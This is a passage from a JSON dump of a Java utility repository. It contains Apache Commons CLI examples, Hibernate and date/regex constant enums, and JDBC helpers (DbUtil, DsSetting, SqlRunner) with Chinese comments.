    "content": "/**\n * <pre>\n * Copyright:\t\tCopyright(C) 2011-2012, ketayao.com\n * Filename:\t\tcom.ketayao.learn.cli.HelloCli.java\n * Class:\t\t\tHelloCli\n * Date:\t\t\t2013年9月4日\n * Author:\t\t\t<a href=\"mailto:ketayao@gmail.com\">ketayao</a>\n * Version          3.1.0\n * Description:\t\t\n *\n * </pre>\n **/\n \npackage com.jun.plugin.commons.util.cli;\n\nimport org.apache.commons.cli.CommandLine;\nimport org.apache.commons.cli.CommandLineParser;\nimport org.apache.commons.cli.HelpFormatter;\nimport org.apache.commons.cli.Option;\nimport org.apache.commons.cli.OptionBuilder;\nimport org.apache.commons.cli.Options;\nimport org.apache.commons.cli.ParseException;\nimport org.apache.commons.cli.PosixParser;\n\n/** \n * \t\n * @author Wujun\n * Version  3.1.0\n * @since   2013年9月4日 下午3:07:20 \n */\n\npublic class HelloCli {\n\n\t/**  \n\t * 描述\n\t * @param args  \n\t * @throws ParseException \n\t */\n\tpublic static void main(String[] args) {\n\t\tOptions options = new Options();\n\t\t//其中 addOption() 方法有三个参数，\n\t\t//第一个参数设定这个 option 的单字符名字，\n\t\t//第二个参数指明这个 option 是否需要输入数值，\n\t\t//第三个参数是对这个 option 的简要描述。在这个代码片段中，\n\t\t//第一个参数只是列出帮助文件，不需要用户输入任何值，\n\t\t//而第二个参数则是需要用户输入 HTTP 的通信协议，所以这两个 option 的第二个参数分别为 false 和 true，\n\t\t//完整的代码及注释请参考第二章节的命令行开发部分。\n\t\toptions.addOption(\"h\", \"help\", false, \"say hi.\");\n\t\toptions.addOption(\"hi\", true, \"exe hi.\");\n\t\t\n\t\tString usage = \"SAYHI -hi name\"; \n \t\t\n\t\tCommandLineParser parser = new PosixParser();\n\t\tCommandLine commandLine = null;\n\t\t\n\t\tHelpFormatter formatter = new HelpFormatter();\n\t\ttry {\n\t\t\tcommandLine = parser.parse(options, args);\n\t\t} catch (Exception e) {\n\t\t\tformatter.printHelp(usage, options);\n\t\t}\n\t\t\n\t\tif (commandLine.hasOption(\"h\")) {\n\t\t\tformatter.printHelp(usage, options);\n\t\t\treturn ;\n\t\t}\t\n\t\t\n\t\tif (commandLine.hasOption(\"hi\")) {\n\t\t\tSystem.out.println(\"Hi, \" + commandLine.getOptionValue(\"hi\"));\n\t\t}\n\t}\n\t\n\t@SuppressWarnings(\"static-access\")\n\tpublic void test() {\n\t\tOption help = new Option(\"h\", \"the command help\");\n\t\tOption user = OptionBuilder.withArgName(\"type\").hasArg()\n\t\t\t\t.withDescription(\"target the search type\").create(\"t\");\n\n\t\t// 此处定义参数类似于 java 命令中的 -D<name>=<value>\n\t\tOption property = OptionBuilder\n\t\t\t\t.withArgName(\"property=value\")\n\t\t\t\t.hasArgs(2)\n\t\t\t\t.withValueSeparator()\n\t\t\t\t.withDescription(\n\t\t\t\t\t\t\"search the objects which have the target property and value\")\n\t\t\t\t.create(\"D\");\n\t\t\n\t\tOptions opts = new Options();\n\t\topts.addOption(help);\n\t\topts.addOption(user);\n\t\topts.addOption(property);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/cli/Mkdir.java",
    "content": "package com.jun.plugin.commons.util.cli;\n\nimport org.apache.commons.cli.CommandLine;\nimport org.apache.commons.cli.CommandLineParser;\nimport org.apache.commons.cli.HelpFormatter;\nimport org.apache.commons.cli.OptionBuilder;\nimport org.apache.commons.cli.Options;\nimport org.apache.commons.cli.ParseException;\nimport org.apache.commons.cli.PosixParser;\n\npublic class Mkdir {\n\t/**\n\t * @param args\n\t */\n\t@SuppressWarnings(\"static-access\")\n\tpublic static void main(String[] args) {\n\t\tOptions opt = new Options();\n\t\topt.addOption(\"p\", false, \"no error if existing, \"\n\t\t\t\t+ \"make parent directories as needed.\");\n\t\topt.addOption(\"v\", \"verbose\", false, \"explain what is being done.\");\n\t\topt.addOption(\n\t\t\t\tOptionBuilder.withArgName(\"file\")\n\t\t\t\t.hasArg()\n\t\t\t\t.withDescription(\"search for buildfile towards the root of the filesystem and use it\")\n\t\t\t\t.create(\"O\"));\n\t\topt.addOption(\n\t\t\t\tOptionBuilder.withLongOpt(\"block-size\")\n\t\t\t\t.withDescription(\"use SIZE-byte blocks\")\n\t\t\t\t.withValueSeparator('=')\n\t\t\t\t.hasArg()\n\t\t\t\t.create());\n\t\topt.addOption(\"h\", \"help\", false, \"print help for the command.\");\n\n\t\tString formatstr = \"gmkdir [-p][-v/--verbose][--block-size][-h/--help] DirectoryName\";\n\n\t\tHelpFormatter formatter = new HelpFormatter();\n\t\tCommandLineParser parser = new PosixParser();\n\t\tCommandLine cl = null;\n\t\ttry {\n\t\t\t// 处理Options和参数\n\t\t\tcl = parser.parse(opt, args);\n\t\t} catch (ParseException e) {\n\t\t\tformatter.printHelp(formatstr, opt); // 如果发生异常，则打印出帮助信息\n\t\t}\n\t\t// 如果包含有-h或--help，则打印出帮助信息\n\t\tif (cl.hasOption(\"h\")) {\n\t\t\tHelpFormatter hf = new HelpFormatter();\n\t\t\thf.printHelp(formatstr, \"\", opt, \"\");\n\t\t\treturn;\n\t\t}\n\t\t// 判断是否有-p参数\n\t\tif (cl.hasOption(\"p\")) {\n\t\t\tSystem.out.println(\"has p\");\n\t\t}\n\t\t// 判断是否有-v或--verbose参数\n\t\tif (cl.hasOption(\"v\")) {\n\t\t\tSystem.out.println(\"has v\");\n\t\t}\n\t\t// 获取参数值，这里主要是DirectoryName\n\t\tString[] str = cl.getArgs();\n\t\tint length = str.length;\n\t\tSystem.out.println(\"length=\" + length);\n\t\tSystem.out.println(\"Str[0]=\" + str[0]);\n\t\t// 判断是否含有block-size参数\n\t\tif (cl.hasOption(\"block-size\")) {\n\t\t\t// print the value of block-size\n\t\t\tSystem.out.println(\"block-size=\" + cl.getOptionValue(\"block-size\"));\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/constant/HibernateConf.java",
    "content": "package com.jun.plugin.commons.util.constant;\n\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\n\npublic enum HibernateConf {\n\tmysql(\"com.mysql.jdbc.Driver\", \"org.hibernate.dialect.MySQLDialect\",\n\t\t\t\"jdbc:mysql://%s:%s/%s\"), sqlserver2005(\n\t\t\t\"net.sourceforge.jtds.jdbc.Driver\",\n\t\t\t\"org.hibernate.dialect.SQLServer2005Dialect\",\n\t\t\t\"jdbc:jtds:sqlserver://%s:%s/%s\");\n\tprivate final String driverClass;\n\tprivate final String dialect;\n\tprivate final String urlFormat;// 联接地址格式，顺序为：ip/port/databasename\n\n\tprivate HibernateConf(String driverClass, String dialect, String urlFormat) {\n\t\tthis.driverClass = driverClass;\n\t\tthis.dialect = dialect;\n\t\tthis.urlFormat = urlFormat;\n\t}\n\n\tpublic String getDriverClass() {\n\t\treturn driverClass;\n\t}\n\n\tpublic String getDialect() {\n\t\treturn dialect;\n\t}\n\n\tpublic String getUrl(String ip, int port, String databasename,\n\t\t\tString... params) {\n\t\tString url = String.format(urlFormat, ip, port, databasename);\n\t\tif (ArrayUtils.isNotEmpty(params)) {\n\t\t\turl = url + \"?\";\n\t\t\tint count = params.length / 2;\n\t\t\tfor (int i = 0; i < count; i++) {\n\t\t\t\tif (i == count - 1) {\n\t\t\t\t\turl = url\n\t\t\t\t\t\t\t+ String.format(\"%s=%s\", params[2 * i],\n\t\t\t\t\t\t\t\t\tparams[2 * i + 1]);\n\t\t\t\t} else {\n\t\t\t\t\turl = url\n\t\t\t\t\t\t\t+ String.format(\"%s=%s\", params[2 * i],\n\t\t\t\t\t\t\t\t\tparams[2 * i + 1]) + \"&\";\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t\treturn url;\n\t}\n\n\tpublic static HibernateConf get(String type) {\n\t\tHibernateConf retobj = mysql;// 默认是mysql\n\t\tif (StringUtils.isNotBlank(type)) {\n\t\t\tfor (HibernateConf ele : HibernateConf.values()) {\n\t\t\t\tif (ele.name().equalsIgnoreCase(type)) {\n\t\t\t\t\tretobj = ele;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn retobj;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/constant/MathConvertType.java",
    "content": "package com.jun.plugin.commons.util.constant;\n\n/***\n * 数学方面转换的类型\n * \n * @author Wujun\n * \n */\npublic enum MathConvertType {\n\ttrunc(\"取整\"), round(\"四舍五入\"), ceil(\"有值进1\");\n\tprivate String desc;\n\n\tprivate MathConvertType(String desc) {\n\t\tthis.desc = desc;\n\t}\n\n\tpublic String getDesc() {\n\t\treturn desc;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/constant/SimpleDateFormatCase.java",
    "content": "package com.jun.plugin.commons.util.constant;\n\nimport java.text.SimpleDateFormat;\n\npublic  enum SimpleDateFormatCase {\n\tYYYY_MM_DD(new SimpleDateFormat(\"yyyy-MM-dd\")),\n\tYYYY_MM_DD_hhmmss(new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\")),\n\tYYYY_MM_DD_hhmmssSSS(new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss.SSS\")),\n\tYYYYMMDD(new SimpleDateFormat(\"yyyyMMdd\")),\n\tyyyyMMddHHmmssSSSS(new SimpleDateFormat(\"yyyyMMddHHmmssSSSS\")),\n\tyyyyMMddHHmmss(new SimpleDateFormat(\"yyyyMMddHHmmss\")),\n\tTyyyyMMddHHmmss(new SimpleDateFormat(\"yyyy-MM-dd'T'HH:mm:ssz\")),\n\tTyyyyMMddHHmmssNoZ(new SimpleDateFormat(\"yyyy-MM-dd'T'HH:mm:ss\"));\n    private SimpleDateFormatCase(SimpleDateFormat instanc){\n    \tthis.instanc = instanc;\n    }\n\tprivate SimpleDateFormat instanc;\n\tpublic SimpleDateFormat getInstanc() {\n\t\treturn instanc;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/constant/StrPattern.java",
    "content": "package com.jun.plugin.commons.util.constant;\n\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\npublic enum StrPattern {\n\n\tchar_normal(\"^[a-zA-Z0-9_\\u4e00-\\u9fa5]+$\"), // 只含有汉字、数字、字母、下划线，下划线位置不限\n\tchar_zh(\"[\\u4e00-\\u9fa5]\"), // 匹配中文字符\n\trow_blank(\"\\\\n\\\\s*\\\\r\"), // 空白行 可以用来删除空白行\n\temail(\"\\\\w+([-+.]\\\\w+)*@\\\\w+([-.]\\\\w+)*\\\\.\\\\w+([-.]\\\\w+)*\"), // email\n\tidentity(\"\\\\d{15}|\\\\d{18}\"), // 身份证\n\n\tdate(\"^[0-9]{4}\\\\-[0-9]{1,2}\\\\-[0-9]{1,2}\"), // 日期格式１\n\t\t\t\t\t\t\t\t\t\t\t\t\t// YYYY-M(M)-D(D)如:2005-01-01\n\tdate_time(\n\t\t\t\"^([0-9]{4})(-)((0([1-9]{1}))|(1[0-2]))(-)(([0-2]([0-9]{1}))|(3[0|1]))( )(([0-1]([0-9]{1}))|(2[0-4]))(:)([0-5]([0-9]{1}))(:)([0-5]([0-9]{1}))\"), // 2006-09-09\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 09:10:22\n\tmobile_phone(\"^(13[0-9]|15[0|3|6|7|8|9]|18[6|8|9])\\\\d{8}$\"), // 手机号码\n\tnumber_float(\"^(-?\\\\d+)(\\\\.\\\\d+)?$\"), // 数字类型 浮点型\n\tnumber_float_positive(\"^\\\\d+(\\\\.\\\\d+)?$\"), // 非负浮点数（正浮点数 + 0）\n\tnumber_integer(\"^-?\\\\d+$\"), // 整数\n\tnumber_integer_positive(\"^\\\\d+$\"); // 非负整数\n\n\tprivate String code;\n\n\tprivate StrPattern(String code) {\n\t\tthis.code = code;\n\t}\n\n\t/**\n\t * 检查字符串格式是否正确\n\t * \n\t * @param str\n\t *            待检查的字符串\n\t * @return boolean\n\t */\n\tpublic boolean checkStrFormat(String str) {\n\t\tPattern pattern = Pattern.compile(code);\n\t\tMatcher matcher = pattern.matcher(str);\n\t\tboolean bool = matcher.matches();\n\t\treturn bool;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/db/DbUtil.java",
    "content": "package com.jun.plugin.commons.util.db;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.naming.NamingException;\nimport javax.sql.DataSource;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * 数据库操作工具类\n * \n * @author Wujun\n * \n */\npublic class DbUtil {\n\tprivate static Logger logger = LoggerFactory.getLogger(DbUtil.class);\n\n\tprivate DbUtil() {\n\t\t// 非可实例化类\n\t}\n\t\n\t/**\n\t * 实例化一个新的SQL运行对象\n\t * \n\t * @param ds 数据源\n\t * @return SQL执行类\n\t */\n\tpublic static SqlRunner newSqlRunner(DataSource ds) {\n\t\treturn new SqlRunner(ds);\n\t}\n\t\n\t/**\n\t * 拼接JDBC连接字符串\n\t * @param protocol 协议\n\t * @param host 主机名\n\t * @param port 端口号\n\t * @param dbName 数据库名\n\t * @param jdbcParam 参数\n\t * @return JDBC字符串\n\t */\n\tpublic static String buildJdbcUrl(String protocol, String host, int port, String dbName, String jdbcParam) {\n\t\tjdbcParam = jdbcParam == null ? \"\" : jdbcParam;\n\t\tif(! jdbcParam.startsWith(\"?\")) {\n\t\t\tjdbcParam = \"?\" + jdbcParam;\n\t\t}\n\t\t\n\t\tString sep = \"//\";\n\t\tif(protocol.contains(\"jdbc:oracle\")) {\n\t\t\tsep = \"@\";\n\t\t}\n\t\treturn protocol + \":\" + sep + host + \":\" + port + \"/\" + dbName + jdbcParam;\n\t}\n\t\n\t/**\n\t * 连续关闭一系列的SQL相关对象<br/>\n\t * 这些对象必须按照顺序关闭，否则会出错。\n\t * \n\t * @param objsToClose 需要关闭的对象\n\t */\n\tpublic static void close(Object... objsToClose) {\n\t\tfor (Object obj : objsToClose) {\n\t\t\ttry {\n\t\t\t\tif (obj != null) {\n\t\t\t\t\tif (obj instanceof ResultSet) {\n\t\t\t\t\t\t((ResultSet) obj).close();\n\t\t\t\t\t} else if (obj instanceof Statement) {\n\t\t\t\t\t\t((Statement) obj).close();\n\t\t\t\t\t} else if (obj instanceof PreparedStatement) {\n\t\t\t\t\t\t((PreparedStatement) obj).close();\n\t\t\t\t\t} else if (obj instanceof Connection) {\n\t\t\t\t\t\t((Connection) obj).close();\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlogger.warn(\"对象\" + obj.getClass().getName() + \"不是可关闭的类型\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch (SQLException e) {\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * 获得JNDI数据源\n\t * @param jndiName JNDI名称\n\t * @return 数据源\n\t */\n\tpublic static DataSource getJndiDs(String jndiName) {\n\t\ttry {\n\t\t\tContext ctx = new InitialContext();\n\t\t\treturn (DataSource) ctx.lookup(jndiName);\n\t\t} catch (NamingException e) {\n\t\t\tlogger.error(\"Find JNDI datasource error!\", e);\n\t\t}\n\t\treturn null;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/db/DsSetting.java",
    "content": "package com.jun.plugin.commons.util.db;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.LangUtil;\nimport com.jun.plugin.commons.util.Setting;\nimport com.jun.plugin.commons.util.Exceptions.ConnException;\nimport com.jun.plugin.commons.util.Exceptions.SettingException;\nimport com.jun.plugin.commons.util.net.Connector;\nimport com.jun.plugin.commons.util.net.SSHUtil;\n\n/**\n * 数据库设定，与数据库配置文件对应\n * @author Wujun\n *\n */\npublic class DsSetting {\n\tprivate static Logger logger = LoggerFactory.getLogger(DsSetting.class);\n\t\n\t/** 默认的数据库连接配置文件路径 */\n\tpublic final static String DEFAULT_DB_CONFIG_PATH = \"config/db.setting\";\n\t/** 默认的数据库连接驱动（MySQL） */\n\tpublic final static String DEFAULT_DRIVER = \"com.mysql.jdbc.Driver\";\n\t/** 默认的JDBC协议 */\n\tpublic final static String DEFAULT_PROTOCOL = \"jdbc:mysql\";\n\n\t// 变量名\n\tpublic final static String VAR_SSH = \"${ssh}\";\n\tpublic final static String VAR_DS = \"${ds}\";\n\n\t// DB KEYS\n\tpublic final static String DRIVER_KEY = \"jdbc.driver\";\n\tpublic final static String PROTOCOL_KEY = \"jdbc.protocol\";\n\tpublic final static String PARAM_KEY = \"jdbc.url.param\";\n\tpublic final static String DATASOURCE_KEY = \"ds.default\";\n\tpublic final static String SSHNAME_KEY = \"ssh.default\";\n\n\t// SSH KEYS\n\tpublic final static String KEY_SSH_HOST = \"${ssh}.ssh.host\";\n\tpublic final static String KEY_SSH_PORT = \"${ssh}.ssh.port\";\n\tpublic final static String KEY_SSH_USER = \"${ssh}.ssh.user\";\n\tpublic final static String KEY_SSH_PASS = \"${ssh}.ssh.pass\";\n\n\t// DATASOURCE KEYS\n\tpublic final static String KEY_DS_URL = \"${ds}.ds.url\";\n\tpublic final static String KEY_DS_HOST = \"${ds}.ds.host\";\n\tpublic final static String KEY_DS_PORT = \"${ds}.ds.port\";\n\tpublic final static String KEY_DS_DB     = \"${ds}.ds.db\";\n\tpublic final static String KEY_DS_USER = \"${ds}.${ssh}.ds.user\";\n\tpublic final static String KEY_DS_PASS = \"${ds}.${ssh}.ds.pass\";\n\n\t/** 数据源名称 */\n\tprivate String dsName;\n\t/** SSH名称 */\n\tprivate String ssh;\n\t/** 数据库连接配置文件 */\n\tprivate Setting dbSetting;\n\n\t/**\n\t * 自定义数据源和SSH的构造\n\t * @param dataSourceName 数据源名称\n\t * @param sshTunnel SSH名称\n\t * @param dbSetting 数据配置文件\n\t * @throws ConnException \n\t */\n\tpublic DsSetting(String dataSourceName, String sshTunnel, Setting dbSetting) throws SettingException {\n\t\tthis.dbSetting = dbSetting;\n\t\t\n\t\tthis.dsName = (dataSourceName == null) ? dbSetting.getString(DATASOURCE_KEY) : dataSourceName;\n\t\tif (LangUtil.isEmpty(this.dsName)) {\n\t\t\tthrow new SettingException(\"无法找到默认的连接配置项！\");\n\t\t}\n\t\t\n\t\tthis.ssh = (sshTunnel == null) ? dbSetting.getString(SSHNAME_KEY) : sshTunnel;\n\t\tif (LangUtil.isEmpty(this.ssh)) {\n\t\t\tlogger.debug(\"Not use SSH tunnel.\");\n\t\t\tthis.ssh = SSHUtil.SSH_NONE;\n\t\t}\n\t}\n\t\n\t/**\n\t * 使用数据库配置文件中的数据源和SSH的构造\n\t * @param dbSetting 数据配置文件\n\t */\n\tpublic DsSetting(Setting dbSetting) {\n\t\tthis.dbSetting = dbSetting;\n\t\t\n\t\tthis.dsName = dbSetting.getString(DATASOURCE_KEY);\n\t\tthis.ssh =dbSetting.getString(SSHNAME_KEY);\n\t}\n\t\n\n\t/**\n\t * 生成数据源相关参数的key\n\t * \n\t * @param keyTemplate 模板\n\t * @return key名称\n\t */\n\tpublic String genKey(String keyTemplate) {\n\t\tString replacedKey = keyTemplate.replace(DsSetting.VAR_DS, dsName).replace(DsSetting.VAR_SSH, ssh);\n\t\tlogger.debug(\"Generate datasource setting key=>{}\", replacedKey);\n\t\treturn replacedKey;\n\t}\n\n\t/**\n\t * String类型值\n\t * \n\t * @param key 键\n\t * @return 对应值\n\t */\n\tpublic String getString(String key) {\n\t\treturn dbSetting.getString(genKey(key));\n\t}\n\n\t/**\n\t * Int类型值\n\t * \n\t * @param key 键\n\t * @return 对应值\n\t */\n\tpublic int getInt(String key) {\n\t\treturn dbSetting.getInt(genKey(key));\n\t}\n\n\t/**\n\t * 获得默认数据源名称\n\t * @return 数据源名称\n\t */\n\tpublic String getName() {\n\t\treturn getDsName(dsName, ssh);\n\t}\n\n\t/**\n\t * 是否开启了SSH功能\n\t * @return 是否开启SSH\n\t */\n\tpublic boolean isEnableSSH() {\n\t\treturn !SSHUtil.SSH_NONE.equals(ssh);\n\t}\n\n\t/**\n\t * 获得SSH主机名\n\t * @return SSH主机名\n\t */\n\tpublic String getSshHost() {\n\t\treturn getString(KEY_SSH_HOST);\n\t}\n\n\t/**\n\t * 获得SSH端口号\n\t * @return SSH端口号\n\t */\n\tpublic int getSshPort() {\n\t\treturn getInt(KEY_SSH_PORT);\n\t}\n\n\t/**\n\t * 获得SSH连接用户名\n\t * @return SSH用户名\n\t */\n\tpublic String getSshUser() {\n\t\treturn getString(KEY_SSH_USER);\n\t}\n\n\t/**\n\t * 获得SSH连接密码\n\t * @return SSH密码\n\t */\n\tpublic String getSshPass() {\n\t\treturn getString(KEY_SSH_PASS);\n\t}\n\n\t/**\n\t * 获得数据库主机名\n\t * @return 主机名\n\t */\n\tpublic String getDsHost() {\n\t\treturn getString(KEY_DS_HOST);\n\t}\n\n\t/**\n\t * 获得数据库端口号\n\t * @return 端口\n\t */\n\tpublic int getDsPort() {\n\t\treturn getInt(KEY_DS_PORT);\n\t}\n\n\t/**\n\t * 获得库名称\n\t * @return 数据库名称\n\t */\n\tpublic String getDsDb() {\n\t\treturn getString(KEY_DS_DB);\n\t}\n\n\t/**\n\t * 获得数据库访问用户名\n\t * @return 用户名\n\t */\n\tpublic String getDsUser() {\n\t\treturn getString(KEY_DS_USER);\n\t}\n\n\t/**\n\t * 获得数据库访问密码\n\t * @return 密码\n\t */\n\tpublic String getDsPass() {\n\t\treturn getString(KEY_DS_PASS);\n\t}\n\n\t/**\n\t * 获得JDBC驱动\n\t * @return JDBC驱动类字符串\n\t */\n\tpublic String getJdbcDriver() {\n\t\tString jdbcDriver = dbSetting.getString(DRIVER_KEY);\n\t\treturn LangUtil.isEmpty(jdbcDriver) ? DEFAULT_DRIVER : jdbcDriver;\n\t}\n\t\n\t/**\n\t * 获得协议\n\t * @return 协议\n\t */\n\tpublic String getProtocol() {\n\t\tString protocol = dbSetting.getString(PROTOCOL_KEY);\n\t\treturn LangUtil.isEmpty(protocol) ? DEFAULT_PROTOCOL : protocol;\n\t}\n\t\n\t/**\n\t * 获得JDBC连接字符串参数\n\t * @return 无参数返回 \"\" ，否则返回带 ? 的参数\n\t */\n\tpublic String getJdbcUrlParam(){\n\t\treturn dbSetting.getString(DsSetting.PARAM_KEY);\n\t}\n\t\n\t/**\n\t * 获得SSH连接信息\n\t * @return 连接对象\n\t */\n\tpublic Connector getSSHConnector() {\n\t\treturn new Connector(getSshHost(), getSshPort(), getSshUser(), getSshPass());\n\t}\n\t\n\t/**\n\t * 获得数据源和SSH节后的拼接名称\n\t * @param dsName 数据源名称\n\t * @param sshName ssh名称\n\t * @return 拼接后名称\n\t */\n\tpublic static String getDsName(String dsName, String sshName){\n\t\treturn dsName + \".\" + sshName;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/db/RsHandler.java",
    "content": "package com.jun.plugin.commons.util.db;\n\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\n\n/**\n * 结果集处理类\n * @author Wujun\n *\n */\npublic interface RsHandler<T> {\n\tpublic T handle(ResultSet rs) throws SQLException;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/db/SqlRunner.java",
    "content": "package com.jun.plugin.commons.util.db;\n\nimport java.sql.Connection;\nimport java.sql.ParameterMetaData;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Types;\n\nimport javax.sql.DataSource;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * SQL执行类\n * \n * @author Wujun\n * \n */\npublic class SqlRunner {\n\tprivate static Logger logger = LoggerFactory.getLogger(SqlRunner.class);\n\n\tprivate DataSource ds;\n\n\tpublic SqlRunner(DataSource ds) {\n\t\tthis.ds = ds;\n\t}\n\n\t/**\n\t * 查询\n\t * \n\t * @param sql 查询语句\n\t * @param rsh 结果集处理对象\n\t * @param params 参数\n\t * @return 结果对象\n\t * @throws SQLException\n\t */\n\tpublic <T> T query(String sql, RsHandler<T> rsh, Object... params) throws SQLException {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = ds.getConnection();\n\t\t\treturn this.query(conn, sql, rsh, params);\n\t\t} catch (SQLException e) {\n\t\t\tthrow e;\n\t\t} finally {\n\t\t\tDbUtil.close(conn);\n\t\t}\n\t}\n\n\t/**\n\t * 查询<br/>\n\t * 发查询语句包括 插入、更新、删除<br/>\n\t * 此方法不会关闭Connection\n\t * \n\t * @param conn 数据库连接对象\n\t * @param sql 查询语句\n\t * @param rsh 结果集处理对象\n\t * @param params 参数\n\t * @return 结果对象\n\t * @throws SQLException\n\t */\n\tpublic <T> T query(Connection conn, String sql, RsHandler<T> rsh, Object... params) throws SQLException {\n\t\tPreparedStatement ps = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tthis.fillParams(ps, params);\n\t\t\trs = ps.executeQuery();\n\t\t\treturn rsh.handle(rs);\n\t\t} catch (SQLException e) {\n\t\t\tthrow e;\n\t\t} finally {\n\t\t\tDbUtil.close(rs, ps);\n\t\t}\n\t}\n\n\t/**\n\t * 执行非查询语句<br/>\n\t * 发查询语句包括 插入、更新、删除\n\t * \n\t * @param sql SQL\n\t * @param params 参数\n\t * @return 影响的行数\n\t * @throws SQLException\n\t */\n\tpublic int update(String sql, Object... params) throws SQLException {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = ds.getConnection();\n\t\t\treturn this.update(conn, sql, params);\n\t\t} catch (SQLException e) {\n\t\t\tthrow e;\n\t\t} finally {\n\t\t\tDbUtil.close(conn);\n\t\t}\n\t}\n\n\t/**\n\t * 执行非查询语句<br/>\n\t * 发查询语句包括 插入、更新、删除<br/>\n\t * 此方法不会关闭Connection\n\t * \n\t * @param conn 数据库连接对象\n\t * @param sql SQL\n\t * @param params 参数\n\t * @return 影响的行数\n\t * @throws SQLException\n\t */\n\tpublic int update(Connection conn, String sql, Object... params) throws SQLException {\n\t\tPreparedStatement ps = null;\n\t\ttry {\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tthis.fillParams(ps, params);\n\t\t\treturn ps.executeUpdate();\n\t\t} catch (SQLException e) {\n\t\t\tthrow e;\n\t\t} finally {\n\t\t\tDbUtil.close(ps);\n\t\t}\n\t}\n\n\t/**\n\t * 批量执行非查询语句\n\t * \n\t * @param sql SQL\n\t * @param paramsBatch 批量的参数\n\t * @return 每个SQL执行影响的行数\n\t * @throws SQLException\n\t */\n\tpublic int[] updateBatch(String sql, Object[]... paramsBatch) throws SQLException {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = ds.getConnection();\n\t\t\treturn this.updateBatch(conn, sql, paramsBatch);\n\t\t} catch (SQLException e) {\n\t\t\tthrow e;\n\t\t} finally {\n\t\t\tDbUtil.close(conn);\n\t\t}\n\t}\n\n\t/**\n\t * 批量执行非查询语句<br/>\n\t * 发查询语句包括 插入、更新、删除<br/>\n\t * 此方法不会关闭Connection\n\t * \n\t * @param conn 数据库连接对象\n\t * @param sql SQL\n\t * @param paramsBatch 批量的参数\n\t * @return 每个SQL执行影响的行数\n\t * @throws SQLException\n\t */\n\tpublic int[] updateBatch(Connection conn, String sql, Object[]... paramsBatch) throws SQLException {\n\t\tPreparedStatement ps = null;\n\t\ttry {\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tfor (Object[] params : paramsBatch) {\n\t\t\t\tthis.fillParams(ps, params);\n\t\t\t\tps.addBatch();\n\t\t\t}\n\t\t\treturn ps.executeBatch();\n\t\t} catch (SQLException e) {\n\t\t\tthrow e;\n\t\t} finally {\n\t\t\tDbUtil.close(ps);\n\t\t}\n\t}\n\n\t/**\n\t * 填充SQL的参数。\n\t * \n\t * @param ps PreparedStatement\n\t * @param params SQL参数\n\t * @throws SQLException\n\t */\n\tprivate void fillParams(PreparedStatement ps, Object... params) throws SQLException {\n\t\tif (params == null) {\n\t\t\treturn;\n\t\t}\n\t\tParameterMetaData pmd = ps.getParameterMetaData();\n\t\tfor (int i = 0; i < params.length; i++) {\n\t\t\tint paramIndex = i + 1;\n\t\t\tif (params[i] != null) {\n\t\t\t\tps.setObject(paramIndex, params[i]);\n\t\t\t} else {\n\t\t\t\tint sqlType = Types.VARCHAR;\n\t\t\t\ttry {\n\t\t\t\t\tsqlType = pmd.getParameterType(paramIndex);\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\tlogger.warn(\"null参数出现无法识别的类型。\");\n\t\t\t\t}\n\t\t\t\tps.setNull(paramIndex, sqlType);\n\t\t\t}\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/db/ds/C3p0Ds.java",
